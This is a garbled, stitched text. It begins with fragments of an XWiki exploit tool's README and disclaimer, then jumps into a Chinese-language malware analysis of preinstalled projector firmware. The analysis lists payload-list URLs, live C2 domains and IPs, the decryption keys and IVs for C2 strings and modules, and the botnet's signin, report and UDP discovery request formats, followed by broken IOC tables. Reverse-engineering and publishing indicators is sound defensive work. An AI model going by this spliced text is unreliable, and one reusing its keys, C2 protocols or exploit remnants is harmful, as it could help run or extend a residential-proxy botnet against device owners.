[+] 漏洞利用完成!
升级 XWiki 至已修复版本:
临时缓解措施:
/bin/view/Main/Search 端点的访问本工具仅供教育和道德测试目的使用。未经授权访问计算机系统是违法的。请负责任地使用本工具,并且仅在你拥有或已获得明确许可进行测试的系统上使用。
本项目采用 MIT 许可证 - 详情请参阅 LICENSE 文件。
⚠️ 免责声明: 本工具仅供教育和道德安全测试目的使用。作者不对本软件的任何滥用或由此造成的任何损害负责。```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
**完整的 40 个配置文件 URL 列表**
每一个可能都是同一活动下的受害设备家族:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
每个 infos*.json 列出了要通过 pm install -r 安装的应用(载荷 com.google.adtest 以及 Disney+ 等伪装应用),如第 3 节所述。
C2 主机加密
com.hs.p.basic.Hosts/EncryptUtils
每个主机字符串均采用 AES/CFB/NoPadding(密钥 MD5("ota.host.a46780a24111f056d95f955462606901"),IV "0102030405060708"),经 gzip 压缩后再进行 base64 编码:
API_MASTER_HOSTS:https://api.loritor.cc/TRACKER_SLAVE_HOSTS:https://api.loritor.cc/API_SLAVE_HOSTS:https://api.nizero.cc/TRACKER_MASTER_HOSTS:https://api.nizero.cc/(与 API 通道相比优先级互换?)在本次测试时,loritor.cc 和 nizero.cc 似乎均已下线。
任务/配置 API 路径
GetTaskApi、GetConfigApi
POST <host>/0x01/ov/x1(配置:静默窗口、日志开关、主机列表推送、轮询周期)和 POST <host>/0x01/ov/x2(任务列表:游标分页的 jars[]/dexs[]/apks[],每项包含 file_url/file_md5/vercode/task_id)。响应体中的 "data" 字段以相同方式加密,密钥为 "ota.api.d3b194c07b63d688969c258719ca3f0f"。
.rf 模块格式
解密我手头所有四个具有有效 DSA 签名的模块:
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig]。
AES 密钥 = MD5("968a84be78d3421d5e771147dce2b766" + salt),使用与上述相同的固定 IV。
DSA 公钥为硬编码(1024 位,嵌入在 DexManager/JarExe 中)。明文为 ZIP/APK,而非原始 dex。```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
入口 `MainApi.start_W0017` 启动客户端 `Robin`。两个明文 HTTP(S) 端点,`channel`/`version` 由调用该模块的一方提供:```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
此处的域名/IP 字符串经过混淆处理:在类 com.szns.sdk.t 中采用 Base64→XOR(固定密钥) > XOR(前一步结果) > MD5 派生 XOR > Base64 > gzip。
复现了完全相同的算法(analysis/tools/decode_szns_t.py),并解密了全部四个硬编码的引导端点:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
如果没有缓存的 dispatch URL(状态 7):
对 `43.153.12.1` - `43.153.80.100:8080` 进行 UDP 扫描
发送字面 ASCII 载荷 `"moon2"`,等待任何以 `http` 开头的回复。该回复成为 dispatch URL。
每个引导请求都是 `POST <url>`,在 `com.szns.sdk.x` 中带有表单字段 `{"operator":<c>,"c":"moon2","name":<d>}`。
无论解析到哪个 dispatch URL,随后都会 POST 相同的字段,并返回真实的网关列表,使用 `AES/CBC/PKCS5` 加密(密钥 `"5360e2884c119aa32a767ceb1c0889b0"`,随机 IV,封装格式 `base64(iv):base64(ciphertext)`)
解密后的 JSON 格式:`{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`。
### 9.6. com.link.core
`SKN0058 `
单一硬编码网关,无发现层:`com.link.core.a.g` → `["api.eviceh.cc:16000"]`。用于自身查询的 DNS 解析器:`8.8.8.8`、`9.9.9.9`、`1.1.1.1`、`1.0.0.1`。读取 `/proc/cpuinfo` 和 `/sys/class/net/{eth0,wlan0}/address` 以进行设备指纹识别。
### 9.7. ddth2 (VpsSdk)
`SKN0061`
硬编码网关池,`ddth2.hidden.o`:域名 `dw4y.mmavlino.com`、`zx8c.llvyomi.net`、`zxn5.p2f7mjhv.eu.cc`,IP `45.43.57.99`、`165.154.135.52`。
一种持久化的自定义二进制 TCP 协议:
- 连接
- `REGISTER`/`REGISTER_ACK` 握手(8 字节帧头,操作码+长度)
- 网关随后推送连接命令(`{host, port}`
- 针对私有/回环/多播范围进行过滤,这些范围会为每个会话生成代理套接字,这解释了“许多并行客户端实例”。
### 9.8. com.google.adtest
或 `com.fotas.wanapp ("com.speed")`
真正的内部包名是 `com.fotas.wanapp`(App 类 `com.fotas.wanapp.APP`)。`onCreate()` 设置三个主机,采用与 `plugin.jar` 相同的 master/slave/random 模式:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
设备签到通过 POST https://codedevapp.com/api/v1/device/dau 进行。
启动了两个服务:
com.google.android.AdServicecom.google.android.BakService通过反射探测并初始化可选的 com.fotas.wanapp.ChannelSdkInit 类(如果存在)。应用 ID 字符串:"wanapp"、"WAN_AISHANG_001"。
从独立主机进行的只读可达性检查(未发送代理协议/载荷,未与投影仪本身交互):
开发者选项:
Deviceversion.onKeyDown(设置中的“设备信息”屏幕)监听一个科乐美秘技风格的代码:上 上 下 下 左 左 右 右 中 中,尝试打开开发者选项。对我来说这没有生效。com.konka.readmain.MainActivity,一个无关的 OEM 工厂测试应用,实际上并未安装在此设备上。同样没有生效。```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| 术语 | 功能 | 局域网 |
|---|
NetworkInterface(adtest、plugin、SKN0061) | 读取设备自身的 IP 和 MAC 用于机器人 ID | 否 |
SKN0041 中的 DatagramSocket | 用于代理会话到网关的 UDP 中继 | 否 |
SKN0054 中的 DatagramSocket | C2 发现:扫描 43.153.12-80.1-100:8080(公有云范围) | 否 |
plugin.jar 中的 ServerSocket | 视频转推流服务器,见下文 | 否 |
Runtime.exec 调用(yiyou、plugin.jar、adtest、SKN0041/54/58/61) | 第三方 SDK 内部实现,对本地文件执行 chmod 777,使用 su/pm/dumpsys 进行前台应用或 root 检查,以及 SKN0041 中操作员下发的 ping | 仅 ping 命令 |
| UPnP、mDNS/NSD、SSDP、WiFi Direct、ARP/子网计算、ADB 5555、telnet | 无 | 否 |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | 仅 Binder 的 OEM 服务:属性获取/设置、原始文件读/写/删除、挂载/卸载、开机 logo/动画。两个二进制文件中均无 socket/bind/connect/listen/accept 符号 | 否 |
qw | Superuser/ClockworkMod su 守护进程。其字符串中仅有 Unix 域套接字路径(/dev/com.koushikdutta.superuser[.daemon]),无 IP 字面量,无 AF_INET | 否 |
com.android.nfx(NFXAccessibility) | Netflix 方向键导航辅助工具,仅在 com.netflix.mediaclient 处于前台时激活。Manifest 中完全没有 INTERNET 权限 | 否 |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
| 主机 | DNS / 连接结果 | 备注 |
|---|
api.loritor.cc, api.nizero.cc | 可解析(Cloudflare),/ 返回 HTTP 404 | 存活;真实路径为 /0x01/ov/x1、/0x01/ov/x2 |
api.kookjar.com | 可解析(Cloudflare,172.67.159.65),HTTP 204 | 存活 |
152.32.240.141(SKN0041 调试回退) | TCP/80 超时 | 不可达;无论如何仅为调试路径,生产环境使用 api.kookjar.com |
dporder.midrouterx.com | 直接解析(43.174.196.241,腾讯云),/api/dispatch 返回 HTTP 200 | 存活 |
seed-info.oss-ap-southeast-1.aliyuncs.com | 可解析(47.79.49.170,阿里云新加坡),HTTP 200,提供 favorite.ico | 存活 |
hgsdkszns.com | 可解析(Cloudflare) | DNS 存活;普通 HTTPS 探测被重置(当前构建中未使用的分支,见 10.5) |
43.173.127.241:9090 | 原始 TCP 连接成功 | 存活,当前正在监听 |
api.eviceh.cc:16000 | 可解析(152.53.83.204) | DNS 存活,检查时 TCP/16000 被拒绝(网关当前未监听) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | 本次未重新检查 | 见第 11 节 |
api.pechlo.cc, api.logobi.cc | 可解析(Cloudflare),/ 返回 HTTP 404 | 存活 |
random.vivosoc.cc | 无 DNS 记录 | 似乎已失效/过期 |
codedevapp.com | 可解析(5.161.41.216,Hetzner) | 存活;/api/v1/device/dau 仅支持 POST,因此裸 GET 会中止 |
| 主机 / URL | 组件 | 角色 |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | 根 OEM 后端域名 |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | OTA 更新器 C2(act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | dropper 自更新指针 |
ty.ishanghd.com/work/app/wj/appsinfo/*(40 个路径,见上文) | yiyou | 按设备系列的载荷/应用列表(pm install -r 目标) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | plugin.jar 获取指针 |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | 实际的 plugin.jar 载荷(带版本路径,随时间变化) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | Widevine L3 DRM 密钥/许可证包,被投放以使流媒体应用能在未认证设备上运行 |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | 任务/配置 API(/0x01/ov/x1、/0x01/ov/x2),同时作为 API 通道(主/从)和跟踪通道(从/主互换) |
api.kookjar.com(+ 152.32.240.141 调试) | SKN0041 | /signin、/report |
api.eviceh.cc:16000 | SKN0058 | 唯一网关 |
hgsdkszns.com | SKN0054 | 额外硬编码引导主机(当前构建中未使用的分支) |
dporder.midrouterx.com/api/dispatch(+ /api/dispatchByOss,通过下方 OSS 引导访问) | SKN0054 | 主调度引导 |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | OSS 托管的引导重定向器(阿里云 OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | 同一引导配置的腾讯 COS 备份镜像 |
43.173.127.241:9090 | SKN0054 | ip_tcp_info 引导主机(端口已确认,存活) |
43.135.136.224 | SKN0054 | 观察到存活的调度网关(tcp/7788 /api/dispatch,tcp/9090) |
43.159.148.198 | SKN0054 | 观察到存活的网关/服务器列表端点,/dp/getServer(可能在加密的 node[] 列表内动态返回) |
43.130.60.175 | SKN0054 | 额外代理网关节点(tcp/9090),观察到存活 |
43.153.12.1–43.153.80.100:8080(UDP) | SKN0054 | 发现扫描;探测载荷为字面 ASCII moon2 |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | 网关池,自定义 TCP 代理协议 |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | 主/从/随机 C2 |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | 设备签到 |
live.sz-cloudmedia.com:8080/ota/ | 旧版 OTA(较旧/同类 sysapp 变体) | 死胡同,该域名没有 ICP 备案,阿里云将其屏蔽。 |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou(Umeng SDK) | 第三方分析遥测,携带 yiyou 应用收集的设备指纹(序列号、MAC、SSID/BSSID) |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou(百度移动统计 SDK) | 相同的遥测角色,通过百度 |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | 用于指纹识别的阿里/云 OS 设备令牌和公网 IP 查询服务 |